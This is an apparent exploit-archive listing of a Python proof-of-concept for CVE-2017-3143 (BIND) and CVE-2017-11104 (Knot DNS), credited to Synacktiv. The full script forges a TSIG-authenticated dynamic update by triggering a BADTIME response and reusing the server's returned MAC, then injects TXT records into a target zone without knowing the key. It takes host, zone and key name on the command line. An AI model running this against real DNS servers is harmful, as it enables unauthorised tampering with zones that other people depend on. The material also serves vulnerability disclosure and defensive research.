4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / tsig_bypass_update.py PY
# Clement Berthaux - Synacktiv
# Exploit for CVE-2017-3143 (Bind) and CVE-2017-11104 (Knot-dns)

import dns.query
import dns.zone
import dns.tsigkeyring
import dns.tsig
import dns.message
import dns.update
from time import time, sleep
from struct import pack

def get_forged(zone, sz):
	req = dns.update.Update(zone)
	
	# update this with whatever change you want to do
	# req.delete('i.can.inject.records.in.the.zone', 'txt')
	req.add('i.can.inject.records.in.the.zone', 3600, 'txt', 'injected')

	# padding needed to absorb the appended answer data
	req.delete('padding', 'txt')
	req.add('padding', 3600, 'txt', '\x00'*sz)
	return req

def exploit(host, zone, key_name):
	keyring = dns.tsigkeyring.from_text({
		key_name : 'whateverwrongkey'.encode('base64')
	})
	origin = dns.name.from_text(zone)
	
	sz = 12+sum(len(e)+1 for e in (zone).split('.'))+1+4
	fudge = 300

	forged = get_forged(zone, sz)
	dns.query.udp(forged, host)
	
	# get forged data and strip the last sz bytes of padding data
	forged_data = forged.to_wire()
	forged_data = forged_data[2:-sz]
	
	forged.id = len(forged_data)

	print '[+] generated forged request'

	# For some reasons triggering a TSIG BADTIME error doesn't seem to be logged by Knot
	trigger = dns.message.make_query(zone, dns.rdatatype.A)
	trigger.use_tsig(keyring, keyname=key_name, algorithm=dns.tsig.HMAC_SHA256)
	
	t = time()
	ts = time()+fudge+1

	# set timestamp out of valid time window
	trigger.time_func = lambda:ts

	# alter trigger digest
	trigger.request_hmac = forged_data

	
	print '[+] sending trigger with forged digest'

	ans = dns.query.tcp(trigger, host, origin=origin)

	if not ans.mac:
		print '[-] couldnt get mac from answer, probably got TSIG_BAD_KEY but dnspython is too bad to populate the tsig_error attribute'
		return

	# add TSIG record
	forged.use_tsig(keyring, keyname=key_name, original_id=forged.id, algorithm=dns.tsig.HMAC_SHA256)

	# use the same ts which should now be valid
	forged.time_func = lambda: ts

	# replace digest
	forged.request_hmac = ans.mac

	# set TSIG error because it's part of the digest
	forged.tsig_error = 0x12
	forged.other_data = '\x00\x00'+pack('>I', int(t))
	
	print '[+] signed request mac is %s' % ans.mac.encode('hex')

	forged.id = len(trigger.request_hmac)

	print '[+] waiting for signature validity'

	sleep(2)

	# patch additionnal_record_count in padding data
	data = ans.to_wire()[:11]+'\x00'+ans.to_wire()[12:sz]
	
	forged.authority[-1][0].strings[0] = data

	print '[+] sending forged update'
	p = dns.query.udp(forged, host)
	if p.rcode():
		print '[-] update failed, got errcode %d' % p.rcode()
		return

	print '[+] zone updated !'

	
if __name__ == '__main__':
	
	from argparse import ArgumentParser

	p = ArgumentParser()
	p.add_argument('host')
	p.add_argument('zone')
	p.add_argument('keyname')

	o = p.parse_args()
	
	exploit(o.host, o.zone, o.keyname)